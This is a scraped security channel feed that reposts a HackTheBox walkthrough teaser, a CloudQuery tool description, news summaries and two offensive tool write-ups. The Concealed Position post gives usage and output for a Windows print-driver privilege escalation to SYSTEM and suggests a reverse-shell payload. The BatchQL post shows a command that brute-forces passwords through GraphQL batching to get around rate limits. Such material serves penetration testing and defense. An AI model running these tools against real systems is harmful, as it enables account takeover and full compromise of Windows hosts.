Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles
Knife HacktheBox Walkthrough

Today we are going to solve the lab name as Knife –Hack the Box. The purpose is to accept the challenge to root the machine. Usage of sudo rights and remote code execution to pwn the victim’s machine. Level: Easy Table of Content Network Scanning Nmap Enumeration Nikto Exploitation RCE

The post Knife HacktheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles

Knife HacktheBox Walkthrough - Hacking Articles

Today we are going to solve the lab name as Knife –Hack the Box. The purpose is to accept the challenge to root the machine.

10 viewsedited 14:34

Hacking Articles Tips Tricks Videos Tutorials

8 views15:01

Hacking Articles Tips Tricks Videos Tutorials

Photo

KitPloit - PenTest Tools!
Cloudquery - Transforms Your Cloud Infrastructure Into SQL Database For Easy Monitoring, Governance And Security

http://2.bp.blogspot.com/-hXoJmQO6MBE/YUOwaGJcWzI/AAAAAAAAu8Y/dm7EJl3bdXkp3tLKc_xgCUwww5-2NTXEACK4BGAYYCw/w640-h128/cloudquery_1_logo-714769.png CloudQuery transforms your cloud infrastructure into queryable SQL for easy monitoring, governance and security. What is CloudQuery and why use it?CloudQuery pulls, normalize, expose and monitor your cloud infrastructure and SaaS apps as SQL database. This abstracts various scattered APIs enabling you to define security, governance, cost and compliance policies with SQL.

CloudQuery can be easily extended to more resources and SaaS providers (open an Issue).

CloudQuery comes with built-in policy packs such as: AWS CIS (more is coming!).

Think about CloudQuery as a compliance-as-code tool inspired by tools like osquery and terraform, cool right? Links* Homepage: https://cloudquery.io
* Releases: https://github.com/cloudquery/cloudquery/releases
* Documentation: https://docs.cloudquery.io
* Hub (Provider and schema docs): https://hub.cloudquery.io/ Supported providers (Actively expanding)Checkout https://hub.cloudquery.io

If you want us to add a new provider or resource please open an Issue.

See docs for developing new provider. Download & installYou can download the precompiled binary from releases, or using CLI:

export OS=Darwin # Possible values: Linux,Windows,Darwin
curl -L https://github.com/cloudquery/cloudquery/releases/latest/download/cloudquery_${OS}_x86_64 -o cloudquery
chmod a+x cloudquery
./cloudquery --help

# if you want to download a specific version and not latest use the following endpoint
export VERSION= # specifiy a version
curl -L https://github.com/cloudquery/cloudquery/releases/download/${VERSION}/cloudquery_${OS}_x86_64 -o cloudquery

Homebrew

brew install cloudquery/tap/cloudquery
# After initial install you can upgrade the version via:
brew upgrade cloudquery

Quick StartRunningFirst generate a config.hclfile that will describe which resources you want cloudquery to pull, normalize and transform resources to the specified SQL database by running the following command:

azure gcp okta] # cloudquery init gcp azure # This will generate a config containing gcp and azure providers # cloudquery init --help # Show all possible auto generated configs and flags ">

cloudquery init aws # choose one or more from: [aws azure gcp okta]
# cloudquery init gcp azure # This will generate a config containing gcp and azure providers
# cloudquery init --help # Show all possible auto generated configs and flags

Once your config.hclis generated run the following command to fetch the resources:

postgresql with docker # docker run -p 5432:5432 -e POSTGRES_PASSWORD=pass -d postgres cloudquery fetch --dsn "postgres://postgres:pass@localhost:5432/postgres" # cloudquery fetch --help # Show all possible fetch flags ">

# you can spawn a local postgresql with docker
# docker run -p 5432:5432 -e POSTGRES_PASSWORD=pass -d postgres
cloudquery fetch --dsn "postgres://postgres:pass@localhost:5432/postgres"
# cloudquery fetch --help # Show all possible fetch flags

Using

psql -h localhost -p 5432 -U postgres -d postgrespostgres=# \dt
List of relations
Schema |                            Name                             | Type  |  Owner
--------+-------------------------------------------------------------+-------+----------
public | aws_autoscaling_launch_configuration_block_device_mapping   | table | postgres
public | aws_autoscaling_launch_configurations                       | table | postgres

Run the following example queries from psqlshell

List ec2[...]

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest & Hacking Tools

Cloudquery - Transforms Your Cloud Infrastructure Into SQL Database For Easy Monitoring, Governance And Security

8 viewsedited 15:01

Hacking Articles Tips Tricks Videos Tutorials

KitPloit - PenTest Tools! Cloudquery - Transforms Your Cloud Infrastructure Into SQL Database For Easy Monitoring, Governance And Security http://2.bp.blogspot.com/-hXoJmQO6MBE/YUOwaGJcWzI/AAAAAAAAu8Y/dm7EJl3bdXkp3tLKc_xgCUwww5-2NTXEACK4BGAYYCw/w640-h128…

_images SELECT * FROM aws_ec2_images;Find all public facing AWS load balancers SELECT * FROM aws_elbv2_load_balancers WHERE scheme = 'internet-facing';Running policy packscloudquery comes with some ready compliance policy pack which you can use as is or modify to fit your use-case.

Currently, cloudquery support AWS CIS policy pack (it is under active development, so it doesn't cover the whole spec yet).

To run AWS CIS pack enter the following commands (make sure you fetched all the resources beforehand by the fetchcommand): ./cloudquery policy --path=You can also create your own policy file. E.g.:

CREATE VIEW my_custom_view AS ... queries: - name: "Find thing that violates policy" query: > SELECT account_id, arn FROM ... ">

views:
- name: "my_custom_view"
query: >
CREATE VIEW my_custom_view AS ...
queries:
- name: "Find thing that violates policy"
query: >
SELECT account_id, arn FROM ...

The policycommand uses the policy file path ./policy.ymlby default, but this can be overridden via the --pathflag, or the CQ_POLICY_PATHenvironment variable.

Full Documentation, resources and SQL schema definitions are available here. Providers AuthenticationSee additional documentation for each provider at https://hub.cloudquery.io. Compile and run

go build .
./cloudquery # --help to see all options

Running on AWS (Lambda, Terraform)Checkout cloudquery/terraform-aws-cloudquery LicenseBy contributing to cloudquery you agree that your contributions will be licensed as defined on the LICENSE file. HiringIf you are into Go, Backend, Cloud, GCP, AWS - ping us at jobs [at] our domain ContributionFeel free to open Pull-Request for small fixes and changes. For bigger changes and new providers please open an issue first to prevent double work and discuss relevant stuff. Download Cloudquery

___________________________
@hacking_Attack
@Hacking_Video

8 viewsedited 15:01

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
How to Get Started With Zero Trust in a SaaS Environment

Given current business conditions and the prevalence of SaaS technologies, now is the time to take steps toward zero trust.

8 views15:02

Source

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Research Highlights Significant Evolution in Email Security

Email security is in transition, from on-premises to the cloud, from inline to API-based, and from stand-alone to integrated into XDR. New research from Omdia highlights where the market is today, and where it is heading.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

Research Highlights Significant Evolution in Email Security

Email security is in transition, from on-premises to the cloud, from inline to API-based, and from stand-alone to integrated into XDR. New research from Omdia highlights where the market is today, and where it is heading.

8 viewsedited 15:02

Hacking Articles Tips Tricks Videos Tutorials

8 views15:35

Hacking Articles Tips Tricks Videos Tutorials

Photo

Kali Linux Tutorials
Concealed Position : Bring Your Own Print Driver Privilege Escalation Tool

Concealed Position is a local privilege escalation attack against Windows using the concept of “Bring Your Own Vulnerability”. Specifically, Concealed Position (CP) uses the as designed package point and print logic in Windows that allows a low privilege user to stage and install printer drivers. CP specifically installs drivers with known vulnerabilities which are then exploited to escalate to SYSTEM. Concealed Position was first presented at DEF CON 29. What Exploits Are Available

Concealed Position offers four exploits – all with equally dumb names:

* ACIDDAMAGE – CVE-2021-35449 – Lexmark Universal Print Driver LPE
* RADIANTDAMAGE – CVE-2021-38085 – Canon TR150 Print Driver LPE
* POISONDAMAGE – CVE-2019-19363 – Ricoh PCL6 Print Driver LPE
* SLASHINGDAMAGE – CVE-2020-1300 – Windows Print Spooler LPE

The exploits are neat because, besides SLASHINGDAMAGE, they will continue working even after the issues are patched. The only mechanism Windows has to stop users from using old drivers is to revoke the driver’s certificate – something that is not(?) historically done. But Which Exploit Should I Use?!

Probably ACIDDAMAGE. RADIANTDAMAGE and POISONDAMAGE are race conditions (to overwrite a DLL) and SLASHINGDAMAGE damage, hopefully, is patched most everywhere. How Does It Work?

Concealed Position has two parts. An evil printer and a client. The client reaches out to the server, grabs a driver, gets the driver stored in the driver store, installs the printer, and exploits the install process. Easy! In MSAPI speak, the attack goes something like this:

Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer

It is important to note that SLASHINGDAMAGE doesn’t actually work like that though. SLASHINGDAMAGE is an implementation of the evil printer attack described at DEFCON 28 (2020) and has long since been patched. I just so happen to enjoy the attack (it sparked the rest of this development) and figured I’d leave the exploit in my evil server… as confusing as that may be. Is This A Windows Vulnerability?

Arguably, yes. The driver store is a “trusted collection of … third-party driver packages” that requires administrator access to modify. Using GetPrinterDrivera low privileged attacker can stage arbitrary drivers into the store. This, to me, crosses a clear security boundary.

Microsoft seemed to agree when they issued CVE-2021-34481.

Although… it’s arguable that this is simply a feature of the system and not a vulnerability at all. It really doesn’t matter all that much. An attacker can escalate to SYSTEM on standard Windows installs. Which Verions Of Windows Are Affected By CVE-2021-34481?

At least Windows 8.1 and above. How Do I Use These Tools?

Simple! So simple there will be many paragraphs to describe it! CP Server

First, let’s look at cp_server’s command line options:

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || server!
CLI options:
-h, –help Display the help message
-e, –exploit arg The exploit to use
-c, –cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

Concealed Position : Bring Your Own Print Driver Privilege Escalation Tool

Concealed Position is a local privilege escalation attack against Windows using the concept of "Bring Your Own Vulnerability".

8 viewsedited 15:35

Hacking Articles Tips Tricks Videos Tutorials

6 views15:35

Hacking Articles Tips Tricks Videos Tutorials

Kali Linux Tutorials Concealed Position : Bring Your Own Print Driver Privilege Escalation Tool Concealed Position is a local privilege escalation attack against Windows using the concept of “Bring Your Own Vulnerability”. Specifically, Concealed Position…

RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Above you can see the server requires two options:

* The exploit to configure the printer for
* A path to this repositories cab_files (.\cab_files\ is the default)

For example, let’s say we wanted to configure an evil printer that would serve up the ACIDDAMAGE driver. Just do this:

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || server!
[+] Creating temporary space…
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

And that’s it, you’ll see a new printer on your system:

PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
—- ———— —- ———- ——– —— ——–
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri… Microsoft.Of… False False
Microsoft XPS Document Writer Local Microsoft XPS Document… PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D… SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Note that there is one manual step that cp_serverprompts you to do. Because I’m a junk hacker, I couldn’t figure out how to programmatically set the “Advanced Sharing Settings” -> “Turn off password protected sharing”. You’ll have to do that yourself!

The process for using SLASHINGDAMAGEis a little different. You’ll need to first install CutePDF Writer (find the installers in the 3rd party directory). Then run cp_server and then you’ll still need to follow a couple of manual steps and reboot. CP Client

The client is similarly easy to use. Let’s look at it’s command line options:

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_
| || || | | || || || _ || | | || |
| || _ || || || || || || || | | || _ | | || | | || || || | | || | | |_ | | | | | || || || _ || || || || | | || || | | |_ | || | | || |_ | | | _ || || | | | |||||| |||||||| ||||||||
_ _
| || || || | | || | | || | | |
| _ || _ || || | |_ || | | || || | | || || | | || | | | | | | | | | | || |
| || || || || | | | | | | || || _ |
| | | | | || | | | | | | || | | |
|| |||||| || || |_||| || client!
CLI options:
-h, –help Display the help message
-r, –rhost arg The remote evil printer address
-n, –name arg The remote evil printer name
-e, –exploit arg The exploit to use
-l, –local No remote printer. Local attack only.
-d, –dll arg Path to user provided DLL to execute.
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE

First, I’d like to address the –dll option. The client has an embedded payload that will simply write the C:\result.txt file. However, users can provide their own DLL via this option. A good example of something you might want to use is an x64 reverse shell produced by msfvenom. But for the rest of this we’ll just assume the embedded payload. cp_clienthas two modes: remote and lo[...]

___________________________
@hacking_Attack
@Hacking_Video

7 viewsedited 15:35

Hacking Articles Tips Tricks Videos Tutorials

Photo

Kali Linux Tutorials
BatchQL : GraphQL Security Auditing Script With A Focus On Performing Batch GraphQL Queries And Mutations

BatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations. This script is not complex, and we welcome improvements.

When exploring the problem space of GraphQL batching attacks, we found that there were a few blog posts on the internet, however no tool to perform GraphQL batching attacks.

GraphQL batching attacks can be quite serious depending on the functionalities implemented. For example, imagine a password reset functionality which expects a 4 digit pin that was sent to your email. With this tool, you could attempt all 10k pin attempts in a single GraphQL query. This may bypass any rate limiting or account lockouts depending on the implementation details of the password reset flow.

Detections

This tool is capable of detecting the following:

* Introspection query support
* Schema suggestions detection
* Potential CSRF detection
* Query name based batching
* Query JSON list based batching

Attacks

Currently, this tool only supports sending JSON list based queries for batching attacks. It supports scenarios where the variables are embedded in the query, or where they are provided in the JSON input.

Usage

Enumeration

❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible… preflight request was successful.
Query JSON list based batching: GraphQL batching is possible… preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.

Batching Attacks

* Save a file that contains your GraphQL query i.e. acc-login.txt:

mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}

Run the following command to run a GraphQL batching attack:

❯ python batch.py –query acc-login.txt –wordlist passwords.txt -v ‘{“loginInput”:{“email”:”admin@example.com”,”password”:”#VARIABLE#”,”rememberMe”:false}}’ –size 100 -e http://re.local:5000/graphiql -p localhost:8080

The above command does the following:

* Specifies a query from a local file --query acc-login.txt.
* Specifies a wordlist --wordlist passwords.txt
* Specifies the variable input with the replacement identifier -v {"loginInput":{"email":"admin@example.com","password":"#VARIABLE#","rememberMe":false}}
* Specifies the batch size --size 100
* Specifies the endpoint -e http://re.local:5000/graphiql
* Specifies a proxy -p localhost:8080
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

BatchQL : GraphQL Security Auditing Script With A Focus

BatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations.

7 viewsedited 15:35

About

Blog

Apps

Platform